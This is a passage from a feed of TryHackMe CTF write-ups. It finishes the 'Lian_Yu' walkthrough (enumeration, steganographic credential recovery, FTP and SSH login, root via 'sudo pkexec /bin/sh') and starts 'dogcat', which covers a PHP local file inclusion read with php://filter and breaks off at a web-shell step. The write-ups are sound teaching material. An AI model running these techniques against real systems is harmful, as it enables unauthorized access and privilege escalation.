111/tcp6  rpcbind<br>|   100000  3,4          111/udp6  rpcbind<br>|   100024  1          37208/udp6  status<br>|   100024  1          40392/tcp   status<br>|   100024  1          47505/udp   status<br>|_  100024  1          60729/tcp6  status<br>40392/tcp open  status  1 (RPC #100024)<br>Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port<br>Aggressive OS guesses: ASUS RT-N56U WAP (Linux 3.4) (95%), Linux 3.16 (95%), Linux 3.10 - 3.13 (94%), Linux 3.1 (93%), Linux 3.2 (93%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (92%), Android 5.0 - 6.0.1 (Linux 3.4) (92%), Android 5.1 (92%), Android 7.1.1 - 7.1.2 (92%), Linux 3.13 (92%)<br>No exact OS matches for host (test conditions non-ideal).<br>Network Distance: 2 hops<br>Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel<br><br>TRACEROUTE (using port 111/tcp)<br>HOP RTT       ADDRESS<br>1   253.94 ms 10.9.0.1<br>2   253.98 ms 10.10.180.5<br><br>OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 20.82 seconds<br>root@Zain:/home/CTF/Lian_Yu# </pre><p>Ports 21, 22, 80,111, 40392 are open on the target, and more details.</p><h3>Enumeration</h3><p>Let’s check web server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LPsvwekBBUN07-LhAkDaMg.png" /></figure><p>Let’s using gobuster for hidden Pages and directories.</p><pre>root@Zain:/home/CTF/Lian_Yu# gobuster dir -u http://10.10.180.5/ -w ../wordlists/dirb/common.txt -t 50 |tee gobuster.txt <br>===============================================================<br>Gobuster v3.6<br>by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)<br>===============================================================<br>[+] Url:                     http://10.10.180.5/<br>[+] Method:                  GET<br>[+] Threads:                 50<br>[+] Wordlist:                ../wordlists/dirb/common.txt<br>[+] Negative Status codes:   404<br>[+] User Agent:              gobuster/3.6<br>[+] Timeout:                 10s<br>===============================================================<br>Starting gobuster in directory enumeration mode<br>===============================================================<br>/.hta                 (Status: 403) [Size: 199]<br>/.htaccess            (Status: 403) [Size: 199]<br>/.htpasswd            (Status: 403) [Size: 199]<br>/index.html           (Status: 200) [Size: 2506]<br>/server-status        (Status: 403) [Size: 199]<br>Progress: 4614 / 4615 (99.98%)<br>===============================================================<br>Finished<br>===============================================================<br>root@Zain:/home/CTF/Lian_Yu# gobuster dir -u http://10.10.180.5/ -w ../wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50 |tee gobuster.txt <br>===============================================================<br>Gobuster v3.6<br>by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)<br>===============================================================<br>[+] Url:                     http://10.10.180.5/<br>[+] Method:                  GET<br>[+] Threads:                 50<br>[+] Wordlist:                ../wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt<br>[+] Negative Status codes:   404<br>[+] User Agent:              gobuster/3.6<br>[+] Timeout:                 10s<br>===============================================================<br>Starting gobuster in directory enumeration mode<br>===============================================================<br>/island               (Status: 301) [Size: 234] [--&gt; http://10.10.180.5/island/]<br>/server-status        (Status: 403) [Size: 199]<br>Progress: 220560 / 220561 (100.00%)<br>===============================================================<br>Finished<br>===============================================================<br>root@Zain:/home/CTF/Lian_Yu# gobuster dir -u http://10.10.180.5/ -w ../wordlists/SecLists/Discovery/Web-Content/raft-small-files.txt -t 50 |tee gobuster.txt <br>===============================================================<br>Gobuster v3.6<br>by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)<br>===============================================================<br>[+] Url:                     http://10.10.180.5/<br>[+] Method:                  GET<br>[+] Threads:                 50<br>[+] Wordlist:                ../wordlists/SecLists/Discovery/Web-Content/raft-small-files.txt<br>[+] Negative Status codes:   404<br>[+] User Agent:              gobuster/3.6<br>[+] Timeout:                 10s<br>===============================================================<br>Starting gobuster in directory enumeration mode<br>===============================================================<br>/index.html           (Status: 200) [Size: 2506]<br>/.htaccess            (Status: 403) [Size: 199]<br>/.                    (Status: 200) [Size: 2506]<br>/.html                (Status: 403) [Size: 199]<br>/.htpasswd            (Status: 403) [Size: 199]<br>/.htm                 (Status: 403) [Size: 199]<br>/.htpasswds           (Status: 403) [Size: 199]<br>/.htgroup             (Status: 403) [Size: 199]<br>/.htaccess.bak        (Status: 403) [Size: 199]<br>/.htuser              (Status: 403) [Size: 199]<br>Progress: 11424 / 11425 (99.99%)<br>===============================================================<br>Finished<br>===============================================================<br>root@Zain:/home/CTF/Lian_Yu# <br><br></pre><p>There’s /island directory found</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/835/1*zE7p0-aeFh0cXONbQdj9Qw.png" /></figure><p>Let’s see view-source</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EQrKOvGhjK9HL1x1AKzxJA.png" /></figure><p>vigilante It’s may be username.</p><p>Let’s discover more with gobuster tool.</p><pre>root@Zain:/home/CTF/Lian_Yu# gobuster dir -u http://10.10.180.5/island/ -w ../wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50 |tee gobuster.txt <br>===============================================================<br>Gobuster v3.6<br>by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)<br>===============================================================<br>[+] Url:                     http://10.10.180.5/island/<br>[+] Method:                  GET<br>[+] Threads:                 50<br>[+] Wordlist:                ../wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt<br>[+] Negative Status codes:   404<br>[+] User Agent:              gobuster/3.6<br>[+] Timeout:                 10s<br>===============================================================<br>Starting gobuster in directory enumeration mode<br>===============================================================<br>/2100                 (Status: 301) [Size: 239] [--&gt; http://10.10.180.5/island/2100/]<br>Progress: 220560 / 220561 (100.00%)<br>===============================================================<br>Finished<br>===============================================================</pre><p>Found directory called 2100 ,Let’s see it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*T4kQWWapCIbehcFn6UN1WQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/703/1*oxP5B3rVhVAmNmmF2ppwsA.png" /></figure><p>in source code we find a comment .ticket. Possible that the directory/file has a .ticket extension.<br>Let’s discover more under /island/2100/ .</p><pre>root@Zain:/home/CTF/Lian_Yu# gobuster dir -u http://10.10.180.5/island/2100/ -w ../wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50 -x .ticket |tee gobuster.txt <br>===============================================================<br>Gobuster v3.6<br>by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)<br>===============================================================<br>[+] Url:                     http://10.10.180.5/island/2100/<br>[+] Method:                  GET<br>[+] Threads:                 50<br>[+] Wordlist:                ../wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt<br>[+] Negative Status codes:   404<br>[+] User Agent:              gobuster/3.6<br>[+] Extensions:              ticket<br>[+] Timeout:                 10s<br>===============================================================<br>Starting gobuster in directory enumeration mode<br>===============================================================<br>/green_arrow.ticket   (Status: 200) [Size: 71]<br>Progress: 441120 / 441122 (100.00%)<br>===============================================================<br>Finished<br>===============================================================</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/551/1*aInEWkf1SHNqnY5fmAnePg.png" /></figure><p>It’s base encoded, after decode it with base64 found E&gt;\x10Pv\x17 <br>maybe it’s base58</p><pre>echo &quot;RTy8yhBQdscX&quot; |base58 -d<br>!#th3h00d</pre><p>May be it’s password, let’s using it on ftp.</p><h3>Exploitation</h3><pre>root@Zain:/home/CTF/Lian_Yu# ftp 10.10.180.5<br>Connected to 10.10.180.5.<br>220 (vsFTPd 3.0.2)<br>Name (10.10.180.5:zain): vigilante<br>331 Please specify the password.<br>Password: <br>230 Login successful.<br>Remote system type is UNIX.<br>Using binary mode to transfer files.<br>ftp&gt; </pre><p>It’s FTP Password.</p><pre>ftp&gt; ls -la<br>229 Entering Extended Passive Mode (|||30713|).<br>150 Here comes the directory listing.<br>drwxr-xr-x    2 1001     1001         4096 May 05  2020 .<br>drwxr-xr-x    4 0        0            4096 May 01  2020 ..<br>-rw-------    1 1001     1001           44 May 01  2020 .bash_history<br>-rw-r--r--    1 1001     1001          220 May 01  2020 .bash_logout<br>-rw-r--r--    1 1001     1001         3515 May 01  2020 .bashrc<br>-rw-r--r--    1 0        0            2483 May 01  2020 .other_user<br>-rw-r--r--    1 1001     1001          675 May 01  2020 .profile<br>-rw-r--r--    1 0        0          511720 May 01  2020 Leave_me_alone.png<br>-rw-r--r--    1 0        0          549924 May 05  2020 Queen&#39;s_Gambit.png<br>-rw-r--r--    1 0        0          191026 May 01  2020 aa.jpg<br>226 Directory send OK.<br><br>ftp&gt; mget .other_user<br>mget .other_user [anpqy?]? y<br>229 Entering Extended Passive Mode (|||63907|).<br>150 Opening BINARY mode data connection for .other_user (2483 bytes).<br>100% |****************************************************************|  2483       46.43 MiB/s    00:00 ETA<br>226 Transfer complete.<br>2483 bytes received in 00:00 (29.63 KiB/s)<br>ftp&gt;<br>ftp&gt; mget *<br>mget Leave_me_alone.png [anpqy?]? y<br>229 Entering Extended Passive Mode (|||26895|).<br>150 Opening BINARY mode data connection for Leave_me_alone.png (511720 bytes).<br>100% |****************************************************************|   499 KiB  260.14 KiB/s    00:00 ETA<br>226 Transfer complete.<br>511720 bytes received in 00:01 (250.00 KiB/s)<br>mget Queen&#39;s_Gambit.png [anpqy?]? y<br>229 Entering Extended Passive Mode (|||58290|).<br>150 Opening BINARY mode data connection for Queen&#39;s_Gambit.png (549924 bytes).<br>100% |****************************************************************|   537 KiB  221.83 KiB/s    00:00 ETA<br>226 Transfer complete.<br>549924 bytes received in 00:02 (214.90 KiB/s)<br>mget aa.jpg [anpqy?]? y<br>229 Entering Extended Passive Mode (|||30244|).<br>150 Opening BINARY mode data connection for aa.jpg (191026 bytes).<br>100% |****************************************************************|   186 KiB  277.96 KiB/s    00:00 ETA<br>226 Transfer complete.<br>191026 bytes received in 00:00 (249.11 KiB/s)<br><br>ftp&gt; cd ..<br>250 Directory successfully changed.<br>ftp&gt; ls<br>229 Entering Extended Passive Mode (|||57902|).<br>150 Here comes the directory listing.<br>drwx------    2 1000     1000         4096 May 01  2020 slade<br>drwxr-xr-x    2 1001     1001         4096 May 05  2020 vigilante<br>226 Directory send OK.<br>ftp&gt; cd slade<br>550 Failed to change directory.<br>ftp&gt; </pre><p>Can’t access to another directory, Let’s check if there’s any hide data in these images and file called .other_user,Let’s see what contain.</p><pre>root@Zain:/home/CTF/Lian_Yu# cat .other_user <br>Slade Wilson was 16 years old when he enlisted in the United States Army, having lied about his age. After serving a stint in Korea, he was later assigned to Camp Washington where he had been promoted to the rank of major. In the early 1960s, he met Captain Adeline Kane, who was tasked with training young soldiers in new fighting techniques in anticipation of brewing troubles taking place in Vietnam. Kane was amazed at how skilled Slade was and how quickly he adapted to modern conventions of warfare. She immediately fell in love with him and realized that he was without a doubt the most able-bodied combatant that she had ever encountered. She offered to privately train Slade in guerrilla warfare. In less than a year, Slade mastered every fighting form presented to him and was soon promoted to the rank of lieutenant colonel. Six months later, Adeline and he were married and she became pregnant with their first child. The war in Vietnam began to escalate and Slade was shipped overseas. In the war, his unit massacred a village, an event which sickened him. He was also rescued by SAS member Wintergreen, to whom he would later return the favor.<br><br>Chosen for a secret experiment, the Army imbued him with enhanced physical powers in an attempt to create metahuman super-soldiers for the U.S. military. Deathstroke became a mercenary soon after the experiment when he defied orders and rescued his friend Wintergreen, who had been sent on a suicide mission by a commanding officer with a grudge.[7] However, Slade kept this career secret from his family, even though his wife was an expert military combat instructor.<br><br>A criminal named the Jackal took his younger son Joseph Wilson hostage to force Slade to divulge the name of a client who had hired him as an assassin. Slade refused, claiming it was against his personal honor code. He attacked and killed the kidnappers at the rendezvous. Unfortunately, Joseph&#39;s throat was slashed by one of the criminals before Slade could prevent it, destroying Joseph&#39;s vocal cords and rendering him mute.<br><br>After taking Joseph to the hospital, Adeline was enraged at his endangerment of her son and tried to kill Slade by shooting him, but only managed to destroy his right eye. Afterwards, his confidence in his physical abilities was such that he made no secret of his impaired vision, marked by his mask which has a black, featureless half covering his lost right eye. Without his mask, Slade wears an eyepatch to cover his eye.<br><br>root@Zain:/home/CTF/Lian_Yu#<br>root@Zain:/home/CTF/Lian_Yu# stegseek aa.jpg ../wordlists/rockyou.txt <br>StegSeek 0.6 - https://github.com/RickdeJager/StegSeek<br><br>[i] Found passphrase: &quot;password&quot;<br>[i] Original filename: &quot;ss.zip&quot;.<br>[i] Extracting to &quot;aa.jpg.out&quot;.<br><br>root@Zain:/home/CTF/Lian_Yu# ll aa.jpg.out <br>-rw-r--r-- 1 root root 596 Jul  8 19:59 aa.jpg.out<br>root@Zain:/home/CTF/Lian_Yu# file aa.jpg.out <br>aa.jpg.out: Zip archive data, at least v2.0 to extract, compression method=deflate<br>root@Zain:/home/CTF/Lian_Yu# </pre><p>we find it’s username slade, Found data in aa.jpg,<br>It’s extract data to aa.jpg.out and it’s zip file</p><p>Let’s see what data contain.</p><pre>root@Zain:/home/CTF/Lian_Yu# unzip aa.jpg.out <br>Archive:  aa.jpg.out<br>  inflating: passwd.txt              <br>  inflating: shado                   <br>root@Zain:/home/CTF/Lian_Yu# ll passwd.txt shado <br>-rw-r--r-- 1 root root 333 Apr 28  2020 passwd.txt<br>-rw-r--r-- 1 root root  10 Apr 28  2020 shado<br>root@Zain:/home/CTF/Lian_Yu#</pre><p>It’s contain passwd.txt and shado !!!!!!, Let’s see what data contain.</p><pre>root@Zain:/home/CTF/Lian_Yu# cat passwd.txt <br>This is your visa to Land on Lian_Yu # Just for Fun ***<br><br><br>a small Note about it<br><br><br>Having spent years on the island, Oliver learned how to be resourceful and <br>set booby traps all over the island in the common event he ran into dangerous<br>people. The island is also home to many animals, including pheasants,<br>wild pigs and wolves.<br><br><br><br><br><br>root@Zain:/home/CTF/Lian_Yu# cat shado <br>M3tahuman</pre><p>May be M3tahuman it’s password for username slade</p><p>Let’s try access SSH with user slade .</p><pre>root@Zain:/home/CTF/Lian_Yu# ssh slade@10.10.180.5<br>The authenticity of host &#39;10.10.180.5 (10.10.180.5)&#39; can&#39;t be established.<br>ED25519 key fingerprint is SHA256:DOqn9NupTPWQ92bfgsqdadDEGbQVHMyMiBUDa0bKsOM.<br>This key is not known by any other names<br>Are you sure you want to continue connecting (yes/no/[fingerprint])? yes<br>Warning: Permanently added &#39;10.10.180.5&#39; (ED25519) to the list of known hosts.<br>slade@10.10.180.5&#39;s password: <br>         Way To SSH...<br>     Loading.........Done.. <br>     Connecting To Lian_Yu  Happy Hacking<br><br>██╗    ██╗███████╗██╗      ██████╗ ██████╗ ███╗   ███╗███████╗██████╗ <br>██║    ██║██╔════╝██║     ██╔════╝██╔═══██╗████╗ ████║██╔════╝╚════██╗<br>██║ █╗ ██║█████╗  ██║     ██║     ██║   ██║██╔████╔██║█████╗   █████╔╝<br>██║███╗██║██╔══╝  ██║     ██║     ██║   ██║██║╚██╔╝██║██╔══╝  ██╔═══╝ <br>╚███╔███╔╝███████╗███████╗╚██████╗╚██████╔╝██║ ╚═╝ ██║███████╗███████╗<br> ╚══╝╚══╝ ╚══════╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝     ╚═╝╚══════╝╚══════╝<br><br><br> ██╗     ██╗ █████╗ ███╗   ██╗     ██╗   ██╗██╗   ██╗<br> ██║     ██║██╔══██╗████╗  ██║     ╚██╗ ██╔╝██║   ██║<br> ██║     ██║███████║██╔██╗ ██║      ╚████╔╝ ██║   ██║<br> ██║     ██║██╔══██║██║╚██╗██║       ╚██╔╝  ██║   ██║<br> ███████╗██║██║  ██║██║ ╚████║███████╗██║   ╚██████╔╝<br> ╚══════╝╚═╝╚═╝  ╚═╝╚═╝  ╚═══╝╚══════╝╚═╝    ╚═════╝  #<br><br>slade@LianYu:~$ id<br>uid=1000(slade) gid=1000(slade) groups=1000(slade),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),115(bluetooth)<br>slade@LianYu:~$ ls<br>user.txt<br>slade@LianYu:~$ cat *<br>THM{P30P7E_K33P_53CRET5__C0MPUT3R5_D0N&#39;T}<br>   --Felicity Smoak<br><br>slade@LianYu:~$</pre><p>Got access with sladeand user flag.</p><h3>Privilege Escalation</h3><p>Let’s what’s privilege i have</p><pre>slade@LianYu:~$ sudo -l<br>[sudo] password for slade: <br>Matching Defaults entries for slade on LianYu:<br>    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin<br><br>User slade may run the following commands on LianYu:<br>    (root) PASSWD: /usr/bin/pkexec<br>slade@LianYu:~$ </pre><p>Let’s search on SUID permissions and capabilities and crontab file</p><pre>slade@LianYu:~$ find / -perm -4000 2&gt;/dev/null<br>/usr/lib/policykit-1/polkit-agent-helper-1<br>/usr/lib/openssh/ssh-keysign<br>/usr/lib/pt_chown<br>/usr/lib/dbus-1.0/dbus-daemon-launch-helper<br>/usr/bin/gpasswd<br>/usr/bin/chsh<br>/usr/bin/pkexec<br>/usr/bin/at<br>/usr/bin/passwd<br>/usr/bin/chfn<br>/usr/bin/procmail<br>/usr/bin/newgrp<br>/usr/bin/sudo<br>/usr/sbin/exim4<br>/bin/su<br>/bin/mount<br>/bin/umount<br>/sbin/mount.nfs<br>slade@LianYu:~$ getcap -r / 2&gt;/dev/null<br>slade@LianYu:~$ cat /etc/crontab<br># /etc/crontab: system-wide crontab<br># Unlike any other crontab you don&#39;t have to run the `crontab&#39;<br># command to install the new version when you edit this file<br># and files in /etc/cron.d. These files also have username fields,<br># that none of the other crontabs do.<br><br>SHELL=/bin/sh<br>PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin<br><br># m h dom mon dow user command<br>17 * * * * root    cd / &amp;&amp; run-parts --report /etc/cron.hourly<br>25 6 * * * root test -x /usr/sbin/anacron || ( cd / &amp;&amp; run-parts --report /etc/cron.daily )<br>47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / &amp;&amp; run-parts --report /etc/cron.weekly )<br>52 6 1 * * root test -x /usr/sbin/anacron || ( cd / &amp;&amp; run-parts --report /etc/cron.monthly )<br>#</pre><p>I can use /usr/bin/pkexec without root password and it’s have SUID also!!</p><p>Let’s look at <a href="https://gtfobins.github.io/gtfobins/pkexec/#sudo">GTFObins </a>, We can run it and get root privilege.</p><pre>sudo pkexec /bin/sh</pre><pre>slade@LianYu:~$ sudo pkexec /bin/sh<br># id<br>uid=0(root) gid=0(root) groups=0(root)<br># cd /root<br># ls<br>root.txt<br>#</pre><p>Here we go root access.</p><p>Thank you for following :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e5bbbca2bcbb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe — dogcat CTF]]></title>
            <link>https://medium.com/@3zain21/tryhackme-dogcat-ctf-c7e106f6af78?source=rss-2a6c3260dcfb------2</link>
            <guid isPermaLink="false">https://medium.com/p/c7e106f6af78</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Zain]]></dc:creator>
            <pubDate>Mon, 08 Jul 2024 04:21:32 GMT</pubDate>
            <atom:updated>2024-07-08T04:21:32.344Z</atom:updated>
            <content:encoded><![CDATA[<h3>TryHackMe — dogcat CTF</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/551/1*d9aL2ES8B9aXZI-R0rNkEw.png" /></figure><p><a href="https://tryhackme.com/r/room/dogcat">dogcat</a></p><p>We are tasked with finding four flags that are hidden across the target system.</p><p>Connect to the TryHackMe networking using your .ovpn file.</p><pre>sudo openvpn your_tryhackme_vpn.ovpn</pre><h3>Reconnaissance</h3><p>Let’s discover the services that are running on the target I performed a port scan.</p><pre>nmap -sS -p- -n -Pn --min-rate=9362 $IP<br>nmap -A -p $Port $IP</pre><p>-sS: This option specifies a SYN scan</p><p>-p-: This option tells nmap to scan all 65,535 ports.</p><p>-n: This option is speeds up the scan by avoiding DNS resolution.</p><p>-Pn: This option disables host discovery, treating all hosts as online. This is useful for scanning hosts that may be blocking ICMP ping requests.</p><p>--min-rate=9362: This option sets the minimum number of packets per second to be sent during the scan. This speeds up the scan but may increase the likelihood of being detected by security systems.</p><p>-A: This option enables OS detection, version detection, script scanning, and traceroute.</p><pre>root@Zain:/home/CTF/dogcat# ./../port_scan.sh 10.10.204.61<br>Running command: nmap -sS -p- -n -Pn --min-rate=9362 10.10.204.61<br>Running command: nmap -A -p 22,80 10.10.204.61<br>Starting Nmap 7.80 ( https://nmap.org ) at 2024-07-08 02:42 EEST<br>Nmap scan report for 10.10.204.61<br>Host is up (0.12s latency).<br>PORT   STATE SERVICE VERSION<br>22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   2048 24:31:19:2a:b1:97:1a:04:4e:2c:36:ac:84:0a:75:87 (RSA)<br>|   256 21:3d:46:18:93:aa:f9:e7:c9:b5:4c:0f:16:0b:71:e1 (ECDSA)<br>|_  256 c1:fb:7d:73:2b:57:4a:8b:dc:d7:6f:49:bb:3b:d0:20 (ED25519)<br>80/tcp open  http    Apache httpd 2.4.38 ((Debian))<br>|_http-server-header: Apache/2.4.38 (Debian)<br>|_http-title: dogcat<br>Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port<br>Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 2.6.32 (92%), Linux 3.1 - 3.2 (92%), Linux 3.11 (92%), Linux 3.2 - 4.9 (92%), Linux 3.7 - 3.10 (92%)<br>No exact OS matches for host (test conditions non-ideal).<br>Network Distance: 2 hops<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel<br>TRACEROUTE (using port 22/tcp)<br>HOP RTT      ADDRESS<br>1   96.10 ms 10.9.0.1<br>2   96.15 ms 10.10.204.61<br>OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 21.50 seconds<br>root@Zain:/home/CTF/dogcat#</pre><p>Ports 22, 80 are open on the target, and more details.</p><h3>Enumeration</h3><p>Let’s check web server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/1*SWV9cBs1Z_l7wTYDnKi_wA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/993/1*syg88Dy2bU81pBXjKUECjw.png" /></figure><p>It’s have parameter called view , When click on dog or cat show random images from dog or cat directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/851/1*eN8SR2pGC82ebJMBkHU6sQ.png" /></figure><p>Here when try get any files from this parameter tell me only dogs or cats !</p><p>So let’s try get any images from these directories, this image no exist but it’s print Bash Error !!!!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RS1NRCZHZLe49yYwf1byDA.png" /></figure><p>it’s add extension .php may be can get index.php file !</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K1P9OOnc6IvAVUo7YWdnNw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nTabE9iSswD4IPTDf0-zMw.png" /></figure><p>It’s look like LFI Vulnerability.</p><p>Let’s using gobuster for hidden Pages and directories.</p><pre>root@Zain:/home/CTF/dogcat# gobuster dir -u http://10.10.204.61/ -w ../wordlists/dirb/common.txt -t 50 |tee gobuster.txt <br>===============================================================<br>Gobuster v3.6<br>by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)<br>===============================================================<br>[+] Url:                     http://10.10.204.61/<br>[+] Method:                  GET<br>[+] Threads:                 50<br>[+] Wordlist:                ../wordlists/dirb/common.txt<br>[+] Negative Status codes:   404<br>[+] User Agent:              gobuster/3.6<br>[+] Timeout:                 10s<br>===============================================================<br>Starting gobuster in directory enumeration mode<br>===============================================================<br>/.hta                 (Status: 403) [Size: 277]<br>/.htaccess            (Status: 403) [Size: 277]<br>/.htpasswd            (Status: 403) [Size: 277]<br>/cats                 (Status: 301) [Size: 311] [--&gt; http://10.10.204.61/cats/]<br>/index.php            (Status: 200) [Size: 418]<br>/server-status        (Status: 403) [Size: 277]<br>Progress: 4614 / 4615 (99.98%)<br>===============================================================<br>Finished<br>===============================================================</pre><p>There’s /.htpasswd !!! interesting</p><p>Let’s try get inde.php file using <a href="https://www.php.net/manual/en/wrappers.php.php">PHP Wrappers</a></p><ul><li>php://filter/: PHP provides various wrappers to manipulate file operations. This wrapper allows the application of filters to file operations.</li><li>read=convert.base64-encode/: This filter reads the file and encodes its contents in base64. The base64 encoding helps in viewing the content in a non-executable format, which can be safely transmitted over the web and decoded later.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YdoUzQV5khk_hbYMC8j8Rw.png" /></figure><p>We got base64 encoded here !! Let’s decode it.</p><pre>root@Zain:/home/CTF/dogcat# echo &quot;PCFET0NUWVBFIEhUTUw+CjxodG1sPgoKPGhlYWQ+CiAgICA8dGl0bGU+ZG9nY2F0PC90aXRsZT4KICAgIDxsaW5rIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiIGhyZWY9Ii9zdHlsZS5jc3MiPgo8L2hlYWQ+Cgo8Ym9keT4KICAgIDxoMT5kb2djYXQ8L2gxPgogICAgPGk+YSBnYWxsZXJ5IG9mIHZhcmlvdXMgZG9ncyBvciBjYXRzPC9pPgoKICAgIDxkaXY+CiAgICAgICAgPGgyPldoYXQgd291bGQgeW91IGxpa2UgdG8gc2VlPzwvaDI+CiAgICAgICAgPGEgaHJlZj0iLz92aWV3PWRvZyI+PGJ1dHRvbiBpZD0iZG9nIj5BIGRvZzwvYnV0dG9uPjwvYT4gPGEgaHJlZj0iLz92aWV3PWNhdCI+PGJ1dHRvbiBpZD0iY2F0Ij5BIGNhdDwvYnV0dG9uPjwvYT48YnI+CiAgICAgICAgPD9waHAKICAgICAgICAgICAgZnVuY3Rpb24gY29udGFpbnNTdHIoJHN0ciwgJHN1YnN0cikgewogICAgICAgICAgICAgICAgcmV0dXJuIHN0cnBvcygkc3RyLCAkc3Vic3RyKSAhPT0gZmFsc2U7CiAgICAgICAgICAgIH0KCSAgICAkZXh0ID0gaXNzZXQoJF9HRVRbImV4dCJdKSA/ICRfR0VUWyJleHQiXSA6ICcucGhwJzsKICAgICAgICAgICAgaWYoaXNzZXQoJF9HRVRbJ3ZpZXcnXSkpIHsKICAgICAgICAgICAgICAgIGlmKGNvbnRhaW5zU3RyKCRfR0VUWyd2aWV3J10sICdkb2cnKSB8fCBjb250YWluc1N0cigkX0dFVFsndmlldyddLCAnY2F0JykpIHsKICAgICAgICAgICAgICAgICAgICBlY2hvICdIZXJlIHlvdSBnbyEnOwogICAgICAgICAgICAgICAgICAgIGluY2x1ZGUgJF9HRVRbJ3ZpZXcnXSAuICRleHQ7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgIGVjaG8gJ1NvcnJ5LCBvbmx5IGRvZ3Mgb3IgY2F0cyBhcmUgYWxsb3dlZC4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgPz4KICAgIDwvZGl2Pgo8L2JvZHk+Cgo8L2h0bWw+Cg==&quot; |base64 --decode |tee index_php_page<br>&lt;!DOCTYPE HTML&gt;<br>&lt;html&gt;<br>&lt;head&gt;<br>    &lt;title&gt;dogcat&lt;/title&gt;<br>    &lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;/style.css&quot;&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>    &lt;h1&gt;dogcat&lt;/h1&gt;<br>    &lt;i&gt;a gallery of various dogs or cats&lt;/i&gt;<br>&lt;div&gt;<br>        &lt;h2&gt;What would you like to see?&lt;/h2&gt;<br>        &lt;a href=&quot;/?view=dog&quot;&gt;&lt;button id=&quot;dog&quot;&gt;A dog&lt;/button&gt;&lt;/a&gt; &lt;a href=&quot;/?view=cat&quot;&gt;&lt;button id=&quot;cat&quot;&gt;A cat&lt;/button&gt;&lt;/a&gt;&lt;br&gt;<br>        &lt;?php<br>            function containsStr($str, $substr) {<br>                return strpos($str, $substr) !== false;<br>            }<br>     $ext = isset($_GET[&quot;ext&quot;]) ? $_GET[&quot;ext&quot;] : &#39;.php&#39;;<br>            if(isset($_GET[&#39;view&#39;])) {<br>                if(containsStr($_GET[&#39;view&#39;], &#39;dog&#39;) || containsStr($_GET[&#39;view&#39;], &#39;cat&#39;)) {<br>                    echo &#39;Here you go!&#39;;<br>                    include $_GET[&#39;view&#39;] . $ext;<br>                } else {<br>                    echo &#39;Sorry, only dogs or cats are allowed.&#39;;<br>                }<br>            }<br>        ?&gt;<br>    &lt;/div&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p>Let’s try more sensitive data such as /etc/passwd file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9khZ9iFD3BXJZu2bg5IgxQ.png" /></figure><p>Let’s create a PHP code that wanted to upload to the server. For example, could create a simple web shell:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/418/1*s9glxZ5_RLFec6QlrJ5TyQ.png" /></figure><figure><img alt="" 